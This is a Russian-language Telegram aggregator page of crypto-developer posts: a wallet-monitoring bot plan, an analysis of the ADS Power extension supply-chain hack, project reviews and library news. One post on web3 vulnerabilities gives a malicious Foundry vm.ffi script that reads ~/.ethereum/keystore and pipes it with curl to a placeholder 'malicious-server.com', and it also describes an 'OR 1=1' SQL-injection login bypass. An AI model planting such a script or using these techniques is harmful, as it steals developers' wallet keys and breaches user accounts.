Крипто Devs | Gnezdo Hub – Telegram
Крипто Devs | Gnezdo Hub
434 subscribers
1.03K photos
67 videos
20 files
2.32K links
Агрегатор с крипто dev'ами

🦧 Основной канал: https://news.1rj.ru/str/cryptomokakke

☯️ Все каналы: https://news.1rj.ru/str/cryptomokakke/742

🗂 Все агрегаторы: https://news.1rj.ru/str/addlist/dNb2TYSUysU3Nzgy
Download Telegram
☕️ Telegram Checker | Python

настройка проекта

1. Зависимости

Библиотеки web3 & pytelegrambotapi

WebSocket провадер для получения событий Alchemy / Infura.

Создаем Telegram бот и получаем его API токен - BotFather


2. Процесс работы софта

- Подключение к блокчейну через WebSocket

- Фильтр событий, связанных с нужным адресом

- Настройка отправки сообщений через API Telegram + встраивание уведомлений в обработку событий

- Деплой бота через DigitalOcean или AWS

При добавлении поддержки других блокчейнов, используем сооответвующие настройки WebSocket

3. Настройка Docker (что это)

деплоить будем через него, так единый docker образ проекта

- Создаем DockerFile - базовый образ с зависимостями

- Создать .dockerignore - Исключаем из сборки ненужные файлы

- Сетевые настройки - порты для доступа к WebSoket открыты и доступны

- Управление секретами - писал тут

- Собираем Образ через Docker build и запускаем через docker run


+ Настроить автоматический перезапуск контейнера в случае падения бота

Вот такой план, далее пошагово будем тут реализовывать 💫 ❤️ 🔥

📟 Прилетело из @code_vartcall

☕️ На кофе
Please open Telegram to view this post
VIEW IN TELEGRAM
Пройдёт много лет и полковник, стоя у стены в ожидании расстрела вспомнит тот далёкий день, когда 11 лет назад сам писал реализацию метода symbolize_keys (которого в стандартной библиотеке не было) 😂 https://github.com/bodrovis/Guesser/blob/master/lib/guesser/utils/hash.rb#L3

Это была демо-программа, некий proof of concept для моей библиотеки messages_dictionary (которая и сама являлась проектом для демонстрации ученикам), использующейся в виде poor man's i18n - дескать, подгрузи файл с сообщениями и вытащи нужную строку по ключу. Забавно, что это до сих пор можно использовать.

Сколько воды утекло с тех пор. В то же время мы пытались наладить forem - якобы лучший движок для форума, который создал Райан, впоследствии победитель ежегодного конкурса ruby hero (или как это называлось?). Да, это было в 2012-2013, судя по всему. Всё ещё впереди - и плохое, и хорошее. Чего было больше? С одной хочется сказать словами Гайдара (писателя с весьма неоднозначной репутацией, у которого всё-таки есть несколько хороших рассказов): а жизнь, товарищи, была совсем хорошая. Символично, что это тоже было написано ещё до войны.

Впрочем, иногда кажется, что когда мы пару жизней тому назад, даже ещё до всех этих событий, были бедными студентами, то жили несколько счастливее. А теперь всё сильно изменились - что мой "ученик" Арс, что постоянный участник наших стримов Рома (это, конечно, мудрый старший наставник)... Да и ребята из guide dao, которых я уже знаю, кажется, лет сто, а мы так до сих пор и не встретились ни разу. 😁

https://www.youtube.com/watch?v=_ivH7xfDWG0

📟 Прилетело из @dev_in_ruby_colors

👧 На суши и девочек
Друзья, GM!

Если сейчас и есть какой-то один текст, который я бы советовал прочитать каждому криптану (особенно недавно пришедшему на рынок), то это статья jez: a starter guide to crypto mmo.

Поэтому я сделал авторский перевод этой статьи: https://teletype.in/@dkefir/starting-guide-to-crypto-mmo-ru.

Прочтение займет не более 10-15 минут вашего времени, — крайне рекомендую!

А также скидываю вам великолепный джаз-хаус микс, под который вы можете начать сей прекрасный субботний день: https://youtu.be/0c0-ikGKP9U?si=BkTYR6Qgit9dk_8u

P.S: почему-то, если читать через встроенный ридер («посмотреть») — там вылезает старая версия текста, где я не удалил абзацы на английском, поэтому рекомендую проходить именно по ссылке, чтобы не пришлось их пролистывать 🌟.

📟 Прилетело из @insuline_eth

☕️ На кофе
Please open Telegram to view this post
VIEW IN TELEGRAM
ADS POWER Взломали!
Подробнее - https://news.1rj.ru/str/slavik_investor/1913

Если будет нужна услуга АнтиДрейна - @antidrain_me

📟 Прилетело из @n4z4v0d

👧 На суши и девочек
💻 Уязвимости web3-сервисов

наконец-то движ

1. Foundry + ffi = true

foundry - инструмент тестирования и деплоя смарт-контрактов (про него тут)


Ситуация - вы выкладываете репо где есть Foundry-скрипты (например, .t.sol или .ts файлы), которые содержат вызовы vm.ffi().

Разработчик скачивает репозиторий и запускает тесты или скрипты
Скрипт с ffi выполняет следующие команды (по усмотрению)


Чтение приватных ключей из файловой системы + отправка на сервер через HTTP или другой протокол

например

contract MaliciousScript is Script {
function run() public {

string;
commands[0] = "cat";
commands[1] = "~/.ethereum/keystore";
commands[2] = "| curl -X POST http://malicious-server.com --data-binary @-";
vm.ffi(commands);
}
}


Когда пользователь запускает этот скрипт (например, через forge noscript), он выполняет команду cat ~/.ethereum/keystore для чтения ключей.

Затем ключи отправляются на ваш сервер через команду curl.


2. SQL-Инъекции

ввод OR 1=1 в поле авторизации может привести к обходу проверки подлинности + получение доступа к системе без действительных учетных данных.

Условие OR 1=1 всегда истинно, что приведет к возврату всех данных, независимо от их категории или статуса выпуска

таким образом мы получаем доступ к приватникам & учетным данным пользоватлей 💼


будем возвращаться к этой рубрике, но сами таким не занимаемся

📟 Прилетело из @code_vartcall

🍣 На суши
Please open Telegram to view this post
VIEW IN TELEGRAM
ADS ЖЕСТКИЙ ДРЕЙН

Я думаю уже каждый слышал про ночной взлом ADS Power. Если вы заметили, что у вас выводят средства или знаете что могут это сделать - пишите сразу же нам, мы вам поможем их сохранить!

Сейчас спас средства своего товарища (если бы бейс не был куском говна, а блокчейном, то вывели все намного быстрее).

Если что - выводим все с помощью Kozel.

📟 Прилетело из @hidden_coding

☯️ Почистить карму
🙌 ADS Взлом - Анализ

Ситуация - замена расширений кошельков пользователей на вредоносные через supply chain attack

Хакеры могли получить доступ к серверу, с которого распространяются обновления расширений, и смогли заменить легитимную версию

Уязвимые расширения были активны в период с 10:00 AM (UTC+0) 21 января по 10:00 AM (UTC+0) 24 января 2025 года.


(если устанавливали или пользовались кошельком в это время - переустанавливаем его и выводим средства)

Таким образом, из-за недостатками контроля безопасности при распространении обновлений расширений была компрометация через supply chain attack, где злоумышленники получили доступ к обновлениям или загрузке расширений.

суммарно $3.2 в ethereum утеряно 💰

> Кошелек 1
> Кошелек 2
> Кошелек 3
> Кошелек 4

Решением таких ситуаций будет диверсификация активов и использование multisig кошельков -> Safe Wallet & TotalSig

📟 Прилетело из @code_vartcall

👧 На суши и девочек
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
#Initia: сеть для роллапов с поддержкой EVM, Move VM и Wasm, авторизацией любым кошельком (например, Metamask) и интегрированной экосистемой.

(если не хотите читать пост в канале или нет возможности, можете послушать аудио сообщение с музыкой и моей речью )

Читать в Teletype, читать в Mirror.
Приложение, документация.

Под интегрированной экосистемой понимаю наличие разных приложений в т. ч. от проекта, а также поддержку мостов и работы с ликвидностью во избежании её фрагментации (разделения по разным сетям без связи).
Удивили тем, что можно использовать Metamask или иной кошелёк, пользуясь их сетями!
Сейчас уже вряд ли можно заработать поинты, так как тестнет завершается, но решил показать, поскольку проект достойный, чтоб его использовать и в будущем, когда выйдет в мейннет.

Общий итог
20 из 25 баллов или 4 из 5:
• Команда: минус балл за то, что не все участники команды со ссылками.
• Концепт: в документации есть всё как для пользователей, так и для разработчиков с валидаторами. Функционал уникален и интересен. Программа стимулирования активности долгосрочна и тоже, как мне кажется, может привести к использованию экосистемы.
• Коин: 2 минуса за отсутствие токеномики. Инвестиции хорошие, ютилити прописано.
• Код: всё часто обновляется, развивается... Минус за отсутствие исходников Initia app и других приложений. Хотя возможно у них другой Github аккаунт - не знаю...
• Практика:
MilkyWay тестнет разочаровал невозможностью участвовать в ликвидном стейкинге. В остальном интерфейс удобный и функциональный!

Читать в Teletype, читать в Mirror.

Буду
рад распространению обзора.

P.
S. Как вам описание концепта? Не много текста без изображений?
Я просто ведь незрячий: не знаю, как визуально воспринимается...
Если нормально, продолжу так с минимумом скринов из документации... Напишите плз ответ в комментариях.

#обзоры #l1 #layer1 #network #blockchain #блокчейн

📟 Прилетело из @blind_dev

☯️ Почистить карму
#обо_мне #мысли: фантазия, которая на половину исполнилась; о каналах с аудиторией из Telegram mini apps; другое...

1. Я люблю моделировать разные ситуации в будущем и думать, куда всё пойдёт и что делать...
В 2020-2021 году представил, что лет через 5-10 в крипте появятся криптовалюты крупнейших корпораций:
Microsoft coin (MSC), Google Coin (GGLC), Apple coin (APC), и займут первые места в топе, убрав вниз Биткоин.
Ситуация понятна, если учесть возможные вливания долларов в такие активы.
Я понимал, что в этом случае рынок будет подконтрольным централизованным компаниям, и децентрализация и уникальность web3 останется лишь на уровне энтузиастов... Тогда я и понял, что это не моё: не стану поддерживать лидерство старых, так как есть много хороших продуктов новых в web3...
Предсказание на половину исполнилось, так как появился токен Трампа. У меня правда сомнения, что это он прям запускал, но суть в том, что это первый токен старого мира: от политика.
И кто знает, что будет дальше: вполне возможно и появление токенов / коинов корпораций...
Но, как уже писал выше, я больше люблю web3 в нынешнем варианте. Пусть даже его пытаются тоже загнать в рамки с KYC, но все равно останутся и пулы, и способы обхода этого...

2. Погружаясь в разные TMA (Telegram mini apps), я увидел каналы в заданиях с миллионом и больше подписчиков...
Раньше миллионы подписчиков - это были известные личности, а с появлением TMA это стали каналы из ботов / неактивных людей... Потому что им неинтересен контент, так как подписываются ради баллов...
А в результате мы можем видеть канал с 2 МЛН подписчиков и 10 тысяч просмотров - это смешно даже для рекламодателя...
Я вижу 3 пути развития, которые могут в том числе использоваться одновременно:
1) Пользователь указывает интересы, и бот выводит только задания, соответствующие им. Так мы фильтруем то, что человеку не будет интересно...
2) Для принятия задания необходимо помимо подписки ответить на вопросы квиза. Они формируются из контента в канале, что требует его изучения. А изучив, у пользователя больше вероятность остаться читателем канала. Ну либо сразу отписаться или не подписываться...
3) Баллы за активные подписки. Есть список каналов. Раз в сутки в случайное время проверяем список подписчиков. Если пользователь отсутствует, снимать у него баллы.
Либо можно начислять баллы за продолжение подписки на канал, но это не убирает пассивные подписки...

3. Сверх надёжный web.
Представьте приложения, которые исполняются у вас на устройстве. Результат + ZK доказательства результата и исполнения отправляются в блокчейн. Если всё хорошо, и результат не противоречит состоянию, он принимается.
При этом, все компоненты фронтенда (сайта) представлены в блокчейне в виде хешей. И браузер, если видит несовпадение по хэшам, запрещает открытие сайта.
А чтоб не было подмены данных в RPC, они также представляют собой лёгкий клиент блокчейна с ZKP, запускаемый на устройстве пользователя, а не просто URL к какому-то серверу.
Конечно возможно где-то я неточность написал, но если такое реализуют, это снизит вероятность фишинга путём подмены dns, скриптов фронтенда или иными способами, отличными от похожего веб-адреса (за последним должен следить сам пользователь).

Такие вот мысли решил написать в этот выходной день.
Будет интересно обсудить их с вами.

Канал (подписаться), Чат | бот | Поддержать донатом

📟 Прилетело из @blind_dev

☯️ Почистить карму
web3.js конец?? 😮

активная поддержка библиотеки будет прекращена 4 марта 2025 года

библиотека web3.js уходит по ряду причин

> Отсутствие активной разработки - основные разработчики перестали активно обновлять библиотеку.

Библиотека не обновлялась с марта 2022 сделав минимальный апдейт лишь в декабре 2024 добавив обновления зависимостей и исправления ошибок


> Архитектура не соответствует современным требованиям к разработке в Web3.

С 2015 года библиотека активно помогала во взаимодействии с Ethereum, но к данному времени такое качество кода устарело

> Переход коммьюнити на ethers.js благодаря

- простоте работы с API
- лучшему управлению газом
- совместимости с TypeScript
- быстрой поддержке новых функций Ethereum


Команда web3.js - ChainSafe теперь центрирует свои усилия на Lodestar и другие разработки в экосистеме Ethereum

Результат

Разработчикам рекомендуется перейти другие библиотеки для взаимодействия с Ethereum.

+ Если вы используете web3.js в своих проектах, лучше начать миграцию, т.к библиотека может стать уязвимой для новых проблем безопасности или несовместимой с будущими версиями Ethereum.

Для такой миграции команда ChainSafe предоставила пошаговую инструкцию


web3.js -> ethers.js
web3.js -> viem

Скоро возвращаемся к JS и снова пишем Visual-Soft 💫

📟 Прилетело из @code_vartcall

☕️ На кофе
Please open Telegram to view this post
VIEW IN TELEGRAM
Wallet checker

v2.5.6

Eclipse

* Добавлено количество накликанных TurboTap
* Исправлено получение доменных имен акка

v2.5.4

* Добавлен чекер балансов и количества транз в Ink

v2.5.3

* Добавлен чекер Morph (балансы, кол-во транз, активные дни и т.д.)

📟 Прилетело из @by_munris

☯️ Почистить карму
как мы заработали 400.000$.

мы пришли в билдинг на волне хайпа layerzero. у нас не было ни опыта, ни понимания, как это работает. мы просто прыгнули в последний вагон на фомо после примерных подсчетов доходов меркли (в пике сотни тысяч$/мес). через пару недель вокруг нас образовался кружок заинтересованных лиц. спустя ещё пару недель нас стало шестеро, и мы начали что-то билдить. так появился zerius. посты: идея создания zerius, релиз zerius.

изначальный бюджет: 4800$
затраты на разработку: сайт (фронт) - 2500$, аудит контрактов - 600$, иллюстратор nft - 300$, дизайнер - 300$, сервер - 220$, домен - 40$, пината для нфт - 100$, логотип zerius - 50$, создание и наполнение твиттера - 250$, мелочи - 120$. тк нас было 6 человек (лол), часть работы мы делали самостоятельно, например, написание контрактов.

затраты на поддержание проекта: обновление дизайна - 350$, доработка сайта и исправление багов - 3950$, реклама (что?) - 62$, ведение твиттера - 1050$, пината для нфт - 800$, сервер - 900$, софт для аналитики - 640$, написание новых контрактов - 1450$.

что мы заработали: layerzero - 5к токенов, которые мы сразу продали за 20к$. mantle - несколько грантов на 70к$. optimism - первый грант 6к токенов → 24к$, второй грант 11к токенов (в локе) → 20к$. на fee от минта нфт и бриджа заработали примерно 200.000$.

итого:
затраты ~15.000$
доход ~330.000$

rocketsam.
вторая наша попытка в билдинг была не самой удачной с точки зрения идеи. пост - релиз рокетскама.

изначальный бюджет: 2500$
затраты: контракты - 700$, дизайн - 350$, иллюстратор - 50$, сайт - 1200$, сервер - 200$.

доходы: грант от mantle - 50.000 (легчайшие). на fee заработали около 3000$.

итого:
затраты ~2500$
доход ~53.000$

nogem.app - наш третий продукт (пост-релиз). проект обошелся нам в те же 5000$, что и zerius, но так и не окупился, потому что наш грант от layerzero на 25.000$ спиздил какой-то скамер. как? не спрашивайте, не знаем.

итого:
затраты ~5000$
доход 0$

are you builder now?

несмотря на то, что мы больше не поддерживаем проекты, они до сих пор живут: zerius и nogem стабильно делают 700+ транзакций в месяц.

нам повезло с легкими грантами и продолжительным хайпом на ретро, сейчас такое провернуть намного сложнее. но благодаря билдингу мы набрались опыта и теперь понимаем, как делать проекты с нуля. часть команды полностью перешли из темок и арбитража в создание проектов, часть ушла из билдинга (временно) и вернулась в рынок.

даже через хаос и ошибки можно прийти к значимому опыту и результату. и да, с нулем опыта, чисто на фомо можно сделать что-то действительно хорошее. главное — не бояться начать.

📟 Прилетело из @hodlmodeth

👧 На суши и девочек
⚔️ Telegram Checker Update

Добавлен следующий функционал

> Отслеживание входящих и исходящих транзакций

Сканируем события Transfer в блокчейне (используем topics для определения отправителя и получателя).

> Мониторинг ERC-20 токенов

Используем сигнатуру события Transfer(address,address,uint256) для фильтрации ERC-20 переводов.

> Проверка баланса

Используем get_balance() для получения баланса в ETH.

> Интеграция с API цен

Подключаем API CoinGecko / CoinMarketCap для получения текущей цены токена

> Поддержка нескольких адресов

Храним список адресов в .env (разделяем запятой).

> Поддержка нескольких сетей

Считываем RPC URL для разных сетей из .env (например, Ethereum Mainnet, Polygon, BSC).

> Логгирование в облако

Используем API Firebase, AWS, или Google Sheets для записи данных о транзакциях.

Пока так, осталось все упаковать и git push :))

что ещё добавлять?? 💫💫

📟 Прилетело из @code_vartcall

👧 На суши и девочек
Please open Telegram to view this post
VIEW IN TELEGRAM
Abstract

Начал изучать экосистему, пошёл читать документацию.
Нашёл ещё один побочный способ пополнить встроенный кошелёк (Abstract Global Wallet - AGW).

У них есть такая фича, как Wallet Linking, для того чтобы привязать свой Metamask кошелёл к аккаунту AGW.

Это нужно для того, чтобы проверять вайтлисты и чекать NFT, которые пользователь держит в mainnet.

Идём на страницу https://link.abs.xyz/ логинимся AGW, в моём случае через почту.
Подключаем Метамаск и наижимаем Link wallet.
Отправляется транза в Ethereum, списывается чуть больше 30$ в eth, сама транза стоит пару баксов при текущем газе.

Через 15 минут, эти 30 баксов депаются на ваш AGW. На странице link.abs.xyz ваш кошелёк начинается отображаться как привязанный.

Возможно это действие в дапльнейшем будет в квестах Abstract, возможно дадут секретный бейдж.

Изучаем дальше.

📟 Прилетело из @raznorabochiy_notes

👧 На суши и девочек